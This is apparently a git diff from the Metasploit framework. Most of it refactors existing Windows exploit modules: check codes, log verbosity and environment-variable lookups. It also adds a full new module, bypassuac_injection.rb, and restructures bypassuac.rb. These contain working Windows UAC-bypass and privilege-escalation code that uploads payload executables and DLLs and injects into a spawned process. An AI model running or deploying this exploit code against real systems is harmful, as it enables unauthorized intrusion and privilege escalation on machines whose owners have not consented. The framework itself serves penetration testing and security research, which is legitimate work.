+++ b/modules/exploits/windows/imap/mercury_login.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Mercury/32 <= 4.01b LOGIN Buffer Overflow',
+      'Name'           => 'Mercury/32 LOGIN Buffer Overflow',
       'Description'    => %q{
         This module exploits a stack buffer overflow in Mercury/32 <= 4.01b IMAPD
         LOGIN verb. By sending a specially crafted login command, a buffer
@@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if (resp =~ /Mercury\/32 v4\.01[a-b]/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
       return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/imap/mercury_rename.rb b/modules/exploits/windows/imap/mercury_rename.rb
index f21948919e..6080430d34 100644
--- a/modules/exploits/windows/imap/mercury_rename.rb
+++ b/modules/exploits/windows/imap/mercury_rename.rb
@@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote
     disconnect
 
     if (resp =~ /Mercury\/32 v4\.01a/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
       return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/imap/novell_netmail_append.rb b/modules/exploits/windows/imap/novell_netmail_append.rb
index e9d76471be..cdd81cc867 100644
--- a/modules/exploits/windows/imap/novell_netmail_append.rb
+++ b/modules/exploits/windows/imap/novell_netmail_append.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Novell NetMail <= 3.52d IMAP APPEND Buffer Overflow',
+      'Name'           => 'Novell NetMail IMAP APPEND Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP APPEND
         verb. By sending an overly long string, an attacker can overwrite the
diff --git a/modules/exploits/windows/imap/novell_netmail_auth.rb b/modules/exploits/windows/imap/novell_netmail_auth.rb
index 6fd23d987f..25e7631ced 100644
--- a/modules/exploits/windows/imap/novell_netmail_auth.rb
+++ b/modules/exploits/windows/imap/novell_netmail_auth.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Novell NetMail <=3.52d IMAP AUTHENTICATE Buffer Overflow',
+      'Name'           => 'Novell NetMail IMAP AUTHENTICATE Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP AUTHENTICATE
         GSSAPI command. By sending an overly long string, an attacker can overwrite the
diff --git a/modules/exploits/windows/imap/novell_netmail_status.rb b/modules/exploits/windows/imap/novell_netmail_status.rb
index ceaca4d764..24eb1f7764 100644
--- a/modules/exploits/windows/imap/novell_netmail_status.rb
+++ b/modules/exploits/windows/imap/novell_netmail_status.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Novell NetMail <= 3.52d IMAP STATUS Buffer Overflow',
+      'Name'           => 'Novell NetMail IMAP STATUS Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP STATUS
         verb. By sending an overly long string, an attacker can overwrite the
diff --git a/modules/exploits/windows/imap/novell_netmail_subscribe.rb b/modules/exploits/windows/imap/novell_netmail_subscribe.rb
index 9535b4a479..05688ae4a1 100644
--- a/modules/exploits/windows/imap/novell_netmail_subscribe.rb
+++ b/modules/exploits/windows/imap/novell_netmail_subscribe.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Novell NetMail <= 3.52d IMAP SUBSCRIBE Buffer Overflow',
+      'Name'           => 'Novell NetMail IMAP SUBSCRIBE Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP SUBSCRIBE
         verb. By sending an overly long string, an attacker can overwrite the
diff --git a/modules/exploits/windows/isapi/ms00_094_pbserver.rb b/modules/exploits/windows/isapi/ms00_094_pbserver.rb
index 8d590ca422..95b51067aa 100644
--- a/modules/exploits/windows/isapi/ms00_094_pbserver.rb
+++ b/modules/exploits/windows/isapi/ms00_094_pbserver.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft IIS Phone Book Service Overflow',
+      'Name'           => 'MS00-094 Microsoft IIS Phone Book Service Overflow',
       'Description'    => %q{
           This is an exploit for the Phone Book Service /pbserver/pbserver.dll
         described in MS00-094. By sending an overly long URL argument
@@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote
     }, 5)
 
     if (res and res.code == 400)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Detected
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb b/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb
index ffc893c5e0..b397162a04 100644
--- a/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb
+++ b/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb
@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow',
+      'Name'           => 'MS03-022 Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow',
       'Description'    => %q{
           This exploits a buffer overflow found in the nsiislog.dll
         ISAPI filter that comes with Windows Media Server. This
diff --git a/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb b/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb
index 2545cb479e..09461ffed5 100644
--- a/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb
+++ b/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',
+      'Name'           => 'MS03-051 Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',
       'Description'    => %q{
           This is an exploit for the chunked encoding buffer overflow
         described in MS03-051 and originally reported by Brett
diff --git a/modules/exploits/windows/isapi/rsa_webagent_redirect.rb b/modules/exploits/windows/isapi/rsa_webagent_redirect.rb
index e7d86c8891..4b8d9e8e86 100644
--- a/modules/exploits/windows/isapi/rsa_webagent_redirect.rb
+++ b/modules/exploits/windows/isapi/rsa_webagent_redirect.rb
@@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
     }, -1)
 
     if (r and r.body and r.body =~ /RSA Web Access Authentication/)
-      return Exploit::CheckCode::Detected
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/isapi/w3who_query.rb b/modules/exploits/windows/isapi/w3who_query.rb
index 56b7870962..cf05fe3447 100644
--- a/modules/exploits/windows/isapi/w3who_query.rb
+++ b/modules/exploits/windows/isapi/w3who_query.rb
@@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def check
     if auto_target
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
     Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/license/calicserv_getconfig.rb b/modules/exploits/windows/license/calicserv_getconfig.rb
index 9cc700febf..4d23542e5d 100644
--- a/modules/exploits/windows/license/calicserv_getconfig.rb
+++ b/modules/exploits/windows/license/calicserv_getconfig.rb
@@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote
     res = sock.get_once || ''
     disconnect
     if (res =~ /OS\<([^\>]+)/)
-      print_status("CA License Server reports OS: #{$1}")
+      vprint_status("CA License Server reports OS: #{$1}")
       return Exploit::CheckCode::Detected
     end
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb b/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb
index 5bc2afeae6..afc65e9246 100644
--- a/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb
+++ b/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb
@@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Local
   # Usint this solution atm because I'm experiencing problems with railgun when trying
   # use GetTokenInformation
   def low_integrity_level?
-    tmp_dir = expand_path("%TEMP%")
+    tmp_dir = session.sys.config.getenv('TEMP')
     cd(tmp_dir)
     new_dir = "#{rand_text_alpha(5)}"
     begin
diff --git a/modules/exploits/windows/local/agnitum_outpost_acs.rb b/modules/exploits/windows/local/agnitum_outpost_acs.rb
index e6a48947bc..8d0a442e2a 100644
--- a/modules/exploits/windows/local/agnitum_outpost_acs.rb
+++ b/modules/exploits/windows/local/agnitum_outpost_acs.rb
@@ -137,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Local
     if datastore["WritableDir"] and not datastore["WritableDir"].empty?
       temp_dir = datastore["WritableDir"]
     else
-      temp_dir = expand_path("%TEMP%")
+      temp_dir = client.sys.config.getenv('TEMP')
     end
 
     print_status("Using #{temp_dir} to drop malicious DLL...")
diff --git a/modules/exploits/windows/local/always_install_elevated.rb b/modules/exploits/windows/local/always_install_elevated.rb
index ae85df5729..4db512b67e 100644
--- a/modules/exploits/windows/local/always_install_elevated.rb
+++ b/modules/exploits/windows/local/always_install_elevated.rb
@@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Local
       'License'       => MSF_LICENSE,
       'Author'        =>
         [
-          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
+          'Ben Campbell',
           'Parvez Anwar' # discovery?/inspiration
         ],
       'Arch'          => [ ARCH_X86, ARCH_X86_64 ],
@@ -70,24 +70,24 @@ class Metasploit3 < Msf::Exploit::Local
     local_machine_value = registry_getvaldata(hklm,install_elevated)
 
     if local_machine_value.nil?
-      print_error("#{hklm}\\#{install_elevated} does not exist or is not accessible.")
+      vprint_error("#{hklm}\\#{install_elevated} does not exist or is not accessible.")
       return Msf::Exploit::CheckCode::Safe
     elsif local_machine_value == 0
-      print_error("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
+      vprint_error("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
       return Msf::Exploit::CheckCode::Safe
     else
-      print_good("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
+      vprint_good("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
       current_user_value = registry_getvaldata(hkcu,install_elevated)
     end
 
     if current_user_value.nil?
-      print_error("#{hkcu}\\#{install_elevated} does not exist or is not accessible.")
+      vprint_error("#{hkcu}\\#{install_elevated} does not exist or is not accessible.")
       return Msf::Exploit::CheckCode::Safe
     elsif current_user_value == 0
-      print_error("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
+      vprint_error("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
       return Msf::Exploit::CheckCode::Safe
     else
-      print_good("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
+      vprint_good("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
       return Msf::Exploit::CheckCode::Vulnerable
     end
   end
diff --git a/modules/exploits/windows/local/ask.rb b/modules/exploits/windows/local/ask.rb
index 93e282aabf..01482ce127 100644
--- a/modules/exploits/windows/local/ask.rb
+++ b/modules/exploits/windows/local/ask.rb
@@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Local
     if datastore["PATH"]
       payload_path = datastore["PATH"]
     else
-      payload_path = session.fs.file.expand_path("%TEMP%")
+      payload_path = session.sys.config.getenv('TEMP')
     end
 
     cmd_location = "#{payload_path}\\#{payload_filename}"
diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb
index 927a29a8a3..8c59d96585 100644
--- a/modules/exploits/windows/local/bypassuac.rb
+++ b/modules/exploits/windows/local/bypassuac.rb
@@ -29,7 +29,10 @@ class Metasploit3 < Msf::Exploit::Local
         ],
       'Platform'      => [ 'win' ],
       'SessionTypes'  => [ 'meterpreter' ],
-      'Targets'       => [ [ 'Windows', {} ] ],
+      'Targets'       => [
+          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
+          [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
+      ],
       'DefaultTarget' => 0,
       'References'    => [
         [ 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/' ]
@@ -39,54 +42,9 @@ class Metasploit3 < Msf::Exploit::Local
 
   end
 
-  def runas_method
-    payload = generate_payload_exe
-    payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
-    tmpdir = expand_path("%TEMP%")
-    tempexe = tmpdir + "\\" + payload_filename
-    write_file(tempexe, payload)
-    print_status("Uploading payload: #{tempexe}")
-    session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
-    print_status("Payload executed")
-  end
-
-  def exploit
-    fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
-
-    #
-    # Verify use against Vista+
-    #
-    winver = sysinfo["OS"]
-    if winver !~ /Windows Vista|Windows 2008|Windows [78]/
-      fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
-    end
-
-    if is_uac_enabled?
-      print_status "UAC is Enabled, checking level..."
-    else
-      if is_in_admin_group?
-        fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
-      else
-        fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
-      end
-    end
-
-    case get_uac_level
-    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
-      fail_with(Exploit::Failure::NotVulnerable,
-        "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
-      )
-    when UAC_DEFAULT
-      print_good "UAC is set to Default"
-      print_good "BypassUAC can bypass this setting, continuing..."
-    when UAC_NO_PROMPT
-      print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
-      runas_method
-      return
-    end
-
+  def check_permissions!
     # Check if you are an admin
-    print_status('Checking admin status...')
+    vprint_status('Checking admin status...')
     admin_group = is_in_admin_group?
 
     if admin_group.nil?
@@ -103,18 +61,60 @@ class Metasploit3 < Msf::Exploit::Local
     if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
       fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
     end
+  end
 
+  def exploit
+    validate_environment!
+
+    case get_uac_level
+    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
+      fail_with(Exploit::Failure::NotVulnerable,
+        "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
+      )
+    when UAC_DEFAULT
+      print_good "UAC is set to Default"
+      print_good "BypassUAC can bypass this setting, continuing..."
+    when UAC_NO_PROMPT
+      print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
+      runas_method
+      return
+    end
+
+    check_permissions!
+
+    upload_binaries!
+
+    cmd = "#{path_bypass} /c #{path_payload}"
+    # execute the payload
+    pid = cmd_exec_get_pid(cmd)
+
+    ::Timeout.timeout(30) do
+      until session_created? do
+        select(nil,nil,nil,1)
+      end
+    end
+    session.sys.process.kill(pid)
+    # delete the uac bypass payload
+    file_rm(path_bypass)
+    file_rm("#{expand_path("%TEMP%")}\\tior.exe")
+    cmd_exec("cmd.exe", "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"" )
+  end
+
+  def path_bypass
+    @bypass_path ||= "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.exe"
+  end
+
+  def path_payload
+    @payload_path ||= "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.exe"
+  end
+
+  def upload_binaries!
+    print_status("Uploaded the agent to the filesystem....")
     #
     # Generate payload and random names for upload
     #
     payload = generate_payload_exe
 
-    # randomize the bypass_uac_filename
-    bypass_uac_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
-
-    # randomize the payload exe name
-    payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
-
     # path to the bypassuac binary
     path = ::File.join(Msf::Config.data_directory, "post")
 
@@ -126,36 +126,55 @@ class Metasploit3 < Msf::Exploit::Local
       bpexe = ::File.join(path, "bypassuac-x86.exe")
     end
 
-    tmpdir = expand_path("%TEMP%")
-    cmd = "#{tmpdir}\\#{bypass_uac_filename} /c #{tmpdir}\\#{payload_filename}"
-
     print_status("Uploading the bypass UAC executable to the filesystem...")
 
     begin
       #
       # Upload UAC bypass to the filesystem
       #
-      upload_file("#{tmpdir}\\#{bypass_uac_filename}", bpexe)
+      upload_file("#{path_bypass}", bpexe)
       print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..")
-      #
-      # Upload the payload to the filesystem
-      #
-      tempexe = tmpdir + "\\" + payload_filename
-      write_file(tempexe, payload)
+
+      write_file(path_payload, payload)
     rescue ::Exception => e
-      print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}")
+      print_error("Error uploading file #{path_bypass}: #{e.class} #{e}")
       return
     end
-
-    print_status("Uploaded the agent to the filesystem....")
-
-    # execute the payload
-    cmd_exec(cmd)
-
-    # delete the uac bypass payload
-    delete_file = "#{tmpdir}\\#{bypass_uac_filename}"
-
-    file_rm(delete_file)
   end
+
+  def runas_method
+    payload = generate_payload_exe
+    payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
+    tmpdir = expand_path("%TEMP%")
+    tempexe = tmpdir + "\\" + payload_filename
+    write_file(tempexe, payload)
+    print_status("Uploading payload: #{tempexe}")
+    session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
+    print_status("Payload executed")
+  end
+
+  def validate_environment!
+    fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
+    #
+    # Verify use against Vista+
+    #
+    winver = sysinfo["OS"]
+
+    unless winver =~ /Windows Vista|Windows 2008|Windows [78]/
+      fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
+    end
+
+    if is_uac_enabled?
+      print_status "UAC is Enabled, checking level..."
+    else
+      if is_in_admin_group?
+        fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
+      else
+        fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
+      end
+    end
+  end
+
+
 end
 
diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb
new file mode 100644
index 0000000000..6ae987f891
--- /dev/null
+++ b/modules/exploits/windows/local/bypassuac_injection.rb
@@ -0,0 +1,233 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/exploit/exe'
+
+class Metasploit3 < Msf::Exploit::Local
+  Rank = ExcellentRanking
+
+  include Exploit::EXE
+  include Post::File
+  include Post::Windows::Priv
+  include Post::Windows::ReflectiveDLLInjection
+
+  def initialize(info={})
+    super( update_info( info,
+      'Name'          => 'Windows Escalate UAC Protection Bypass (In Memory Injection)',
+      'Description'   => %q{
+        This module will bypass Windows UAC by utilizing the trusted publisher
+        certificate through process injection. It will spawn a second shell that
+        has the UAC flag turned off. This module uses the Reflective DLL Injection
+        technique to drop only the DLL payload binary instead of three seperate
+        binaries in the standard technique. However, it requires the correct
+        architecture to be selected, (use x64 for SYSWOW64 systems also).
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        => [
+          'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
+          'mitnick',
+          'mubix', # Port to local exploit
+          'Ben Campbell' # In memory technique
+        ],
+      'Platform'      => [ 'win' ],
+      'SessionTypes'  => [ 'meterpreter' ],
+      'Targets'       => [
+          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
+          [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
+      ],
+      'DefaultTarget' => 0,
+      'References'    => [
+        [
+          'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/',
+          'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'
+        ]
+      ],
+      'DisclosureDate'=> "Dec 31 2010"
+    ))
+
+  end
+
+  def bypass_dll_path
+    # path to the bypassuac binary
+    path = ::File.join(Msf::Config.data_directory, "post")
+
+    # decide, x86 or x64
+    sysarch = sysinfo["Architecture"]
+    if sysarch =~ /x64/i
+      unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i)
+        fail_with(
+            Exploit::Failure::BadConfig,
+            "x86 Target Selected for x64 System"
+        )
+      end
+
+      if sysarch =~ /WOW64/i
+        return ::File.join(path, "bypassuac-x86.dll")
+      else
+        return ::File.join(path, "bypassuac-x64.dll")
+      end
+    else
+      if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i)
+        fail_with(
+            Exploit::Failure::BadConfig,
+            "x64 Target Selected for x86 System"
+        )
+      end
+
+      ::File.join(path, "bypassuac-x86.dll")
+    end
+  end
+
+
+
+  def check_permissions!
+    # Check if you are an admin
+    vprint_status('Checking admin status...')
+    admin_group = is_in_admin_group?
+
+    if admin_group.nil?
+      print_error('Either whoami is not there or failed to execute')
+      print_error('Continuing under assumption you already checked...')
+    else
+      if admin_group
+        print_good('Part of Administrators group! Continuing...')
+      else
+        fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
+      end
+    end
+
+    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
+      fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
+    end
+  end
+
+
+
+  def exploit
+    validate_environment!
+
+    case get_uac_level
+      when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
+        fail_with(Exploit::Failure::NotVulnerable,
+                  "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
+        )
+      when UAC_DEFAULT
+        print_good "UAC is set to Default"
+        print_good "BypassUAC can bypass this setting, continuing..."
+      when UAC_NO_PROMPT
+        print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
+        runas_method
+        return
+    end
+
+    check_permissions!
+
+    @temp_path = expand_path('%TEMP%').strip
+
+    upload_payload_dll!
+
+    pid = spawn_inject_proc
+
+    run_injection(pid, bypass_dll_path)
+
+    # delete the uac bypass payload
+    vprint_status("Cleaning up payload file...")
+    file_rm(payload_filepath)
+  end
+
+
+  def payload_filepath
+    "#{@temp_path}\\CRYPTBASE.dll"
+  end
+
+
+
+  def runas_method
+    payload = generate_payload_exe
+    payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
+    tmpdir = expand_path("%TEMP%")
+    tempexe = tmpdir + "\\" + payload_filename
+    write_file(tempexe, payload)
+    print_status("Uploading payload: #{tempexe}")
+    session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
+    print_status("Payload executed")
+  end
+
+
+
+
+  def run_injection(pid, dll_path)
+    vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
+    begin
+      vprint_status("Opening process #{pid}")
+      host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
+      exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
+      vprint_status("Executing payload")
+      thread = host_process.thread.create(exploit_mem + offset, 0)
+      print_good("Successfully injected payload in to process: #{pid}")
+      client.railgun.kernel32.WaitForSingleObject(thread.handle,14000)
+    rescue Rex::Post::Meterpreter::RequestError => e
+      print_error("Failed to Inject Payload to #{pid}!")
+      vprint_error(e.to_s)
+    end
+  end
+
+
+
+  def spawn_inject_proc
+    windir = expand_path("%WINDIR%").strip
+    print_status("Spawning process with Windows Publisher Certificate, to inject into...")
+    cmd = "#{windir}\\System32\\notepad.exe"
+    pid = cmd_exec_get_pid(cmd)
+
+    unless pid
+      fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")
+    end
+
+    pid
+  end
+
+
+
+  def upload_payload_dll!
+    payload = generate_payload_dll({:dll_exitprocess => true})
+    print_status("Uploading the Payload DLL to the filesystem...")
+    begin
+      vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
+      write_file(payload_filepath, payload)
+    rescue Rex::Post::Meterpreter::RequestError => e
+      fail_with(
+          Exploit::Exception::Unknown,
+          "Error uploading file #{payload_filepath}: #{e.class} #{e}"
+      )
+    end
+  end
+
+
+
+
+  def validate_environment!
+    fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
+
+    winver = sysinfo["OS"]
+
+    unless winver =~ /Windows 2008|Windows [7]/
+      fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
+    end
+
+    if is_uac_enabled?
+      print_status "UAC is Enabled, checking level..."
+    else
+      if is_in_admin_group?
+        fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
+      else
+        fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
+      end
+    end
+  end
+
+end
+
diff --git a/modules/exploits/windows/local/current_user_psexec.rb b/modules/exploits/windows/local/current_user_psexec.rb
index a89fc57d3c..c8f090f42c 100644
--- a/modules/exploits/windows/local/current_user_psexec.rb
+++ b/modules/exploits/windows/local/current_user_psexec.rb
@@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Local
 
       # Build a random name for the share and directory
       share_name = Rex::Text.rand_text_alphanumeric(8)
-      drive = session.fs.file.expand_path("%SYSTEMDRIVE%")
+      drive = session.sys.config.getenv('SYSTEMDRIVE')
       share_dir = "#{drive}\\#{share_name}"
 
       # Create them
diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb
index 79ef29f143..ec7ea17a9b 100644
--- a/modules/exploits/windows/local/ikeext_service.rb
+++ b/modules/exploits/windows/local/ikeext_service.rb
@@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Local
       'License'        => MSF_LICENSE,
       'Author'         =>
         [
-          'Ben Campbell <eat_meatballs@hotmail.co.uk>'
+          'Ben Campbell'
         ],
       'Platform'       => [ 'win'],
       'Targets'        =>
@@ -88,20 +88,20 @@ class Metasploit3 < Msf::Exploit::Local
 
     case srv_info['Startup']
     when 'Disabled'
-      print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
+      vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
       return Exploit::CheckCode::Safe
     when 'Manual'
-      print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
+      vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
       return Exploit::CheckCode::Safe
     when 'Auto'
-      print_good("Service is set to Automatically start...")
+      vprint_good("Service is set to Automatically start...")
     end
 
     if check_search_path
       return Exploit::CheckCode::Safe
     end
 
-    return Exploit::CheckCode::Vulnerable
+    return Exploit::CheckCode::Appears
   end
 
   def check_search_path
diff --git a/modules/exploits/windows/local/ms10_092_schelevator.rb b/modules/exploits/windows/local/ms10_092_schelevator.rb
index 8628be003b..840c47a0cf 100644
--- a/modules/exploits/windows/local/ms10_092_schelevator.rb
+++ b/modules/exploits/windows/local/ms10_092_schelevator.rb
@@ -93,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Local
     cmd = datastore["CMD"] || nil
     upload_fn = nil
 
-    tempdir = session.fs.file.expand_path("%TEMP%")
+    tempdir = session.sys.config.getenv('TEMP')
     if not cmd
       # Get the exe payload.
       exe = generate_payload_exe
@@ -111,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Local
     # Create a new task to do our bidding, but make sure it doesn't run.
     #
     taskname ||= Rex::Text.rand_text_alphanumeric(8+rand(8))
-    sysdir = session.fs.file.expand_path("%SystemRoot%")
+    sysdir = session.sys.config.getenv('SystemRoot')
     taskfile = "#{sysdir}\\system32\\tasks\\#{taskname}"
 
     print_status("Creating task: #{taskname}")
diff --git a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
index 92f2e46e3c..6c6e5cf822 100644
--- a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
+++ b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb
@@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Local
         [
           'Tavis Ormandy', # Discovery
           'Axel Souchet',  # @0vercl0k POC
-          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit module
+          'Ben Campbell' # Metasploit module
         ],
       'Platform'	=> [ 'win' ],
       'SessionTypes'	=> [ 'meterpreter' ],
@@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Local
   end
 
   def low_integrity_level?
-    tmp_dir = expand_path("%USERPROFILE%")
+    tmp_dir = session.sys.config.getenv('USERPROFILE')
     cd(tmp_dir)
     new_dir = "#{rand_text_alpha(5)}"
     begin
@@ -133,7 +133,7 @@ class Metasploit3 < Msf::Exploit::Local
     if datastore['TECHNIQUE'] == 'FILE'
       payload_file = "#{rand_text_alpha(5+rand(3))}.exe"
       begin
-        tmp_dir = expand_path("%TEMP%")
